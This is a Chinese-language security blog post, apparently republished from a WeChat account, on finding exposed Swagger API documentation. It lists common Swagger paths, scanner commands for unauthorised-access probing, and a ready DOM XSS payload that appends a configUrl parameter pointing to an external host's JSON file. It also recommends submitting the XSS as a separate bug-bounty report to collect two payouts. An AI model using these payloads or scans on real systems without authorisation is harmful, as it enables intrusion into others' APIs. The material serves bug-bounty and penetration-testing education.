Swagger渗透和XSS通杀方式

admin 2025年2月17日12:54:53评论54 views1字数 1418阅读4分43秒阅读模式

swagger简介

Swagger是什么?

Swagger(现称OpenAPI)是一种开源的API描述语言,旨在简化RESTful API的设计、文档化、生成和消费。Swagger为API提供了一种标准化的描述方式,使开发人员、测试人员和用户可以清晰了解API的请求、响应格式以及使用方式。

简单来说就是一个写了后端接口的一个文档页面,通过这个文档你就知道后端有哪些API接口,如果这些接口存在未授权访问,或者存在漏洞,你就能够进行深入攻击。

swagger长什么样子

下面这两种都是swagger,一个是html格式的,一个是json格式的,内容一样,交漏洞的时候,交一个就可以了。

http://127.0.0.1/dev-api/swagger-ui.html

Swagger渗透和XSS通杀方式

http://127.0.0.1/dev-api/v2/api-docs

Swagger渗透和XSS通杀方式

swagger重要路径

下面是swagger的一些常见路径,建议使用springboot-scan直接扫敏感信息泄露,那个工具还有路径绕过功能。

/swagger-ui/index.html

/swagger/swagger-ui.html

/api/v1/swagger-ui.html

/v1/api-docs

/v2/api-docs

/v3/api-docs

/api/v1/api-docs

/api/v2/api-docs

/api/v3/api-docs

/dev-api/

https://github.com/AabyssZG/SpringBoot-Scan

命令:

SpringBoot-Scan.exe -u http://xxx.com/

-u 是扫描信息泄露

-v 是扫描漏洞

红色内容一般是存在漏洞,紫色的也要关注一下。

Swagger渗透和XSS通杀方式

Swagger渗透和XSS通杀方式

swagger-domxss

这是一个通用型漏洞,swagger低版本都存在这个问题,成功率六成。

通过swagger-html页面后面拼接?configUrl=https://xss.smarpo.com/test.json 的方式,可以触发漏洞,漏洞复现可以使用这个现成的测试链接,就是这个

https://xss.smarpo.com/test.json

该漏洞可以在企业SRC中刷分,我这边学员每次交完Swagger就再交一次xss拿两份钱。

Swagger渗透和XSS通杀方式

要注意,必须是swagger的这个html页面才可以,api-docs的json页面不可以哦!

Swagger渗透和XSS通杀方式

swaggerUI-html抓包测试

如果获得了这个swagger-html页面是可以进行手动抓包测试的。

Swagger渗透和XSS通杀方式

Swagger渗透和XSS通杀方式

Swagger渗透和XSS通杀方式

Swagger渗透和XSS通杀方式

你都会抓包了,怎么测试就不用我说了,你手动测,挂漏扫都行。

swagger-hacker 自动探测接口未授权(不扫漏洞)

如果没有html页面怎么测试,不用担心,有工具可以批量测试。

开扫之前一定注意!!!

如果出现删除delete等接口,不要轻易测试,小心造成无法挽回的攻击!

下载地址:

https://github.com/jayus0821/swagger-hack

可以选择api-docs页面进行扫描。

Swagger渗透和XSS通杀方式

python swagger-hack2.0.py -u http://127.0.0.1/dev-api/v2/api-docs

Swagger渗透和XSS通杀方式

建议使用/api-docs ,swagger.html的效果不好。

Swagger渗透和XSS通杀方式

报错解决。

Swagger渗透和XSS通杀方式

扫描成功后,会生成一个xlsx文件,里面会记录对接口的全部请求记录,包括发送包,返回包和测试的详情。

Swagger渗透和XSS通杀方式

原文始发于微信公众号(猎洞时刻):Swagger渗透和XSS通杀方式

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月17日12:54:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Swagger渗透和XSS通杀方式https://cn-sec.com/archives/3750311.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息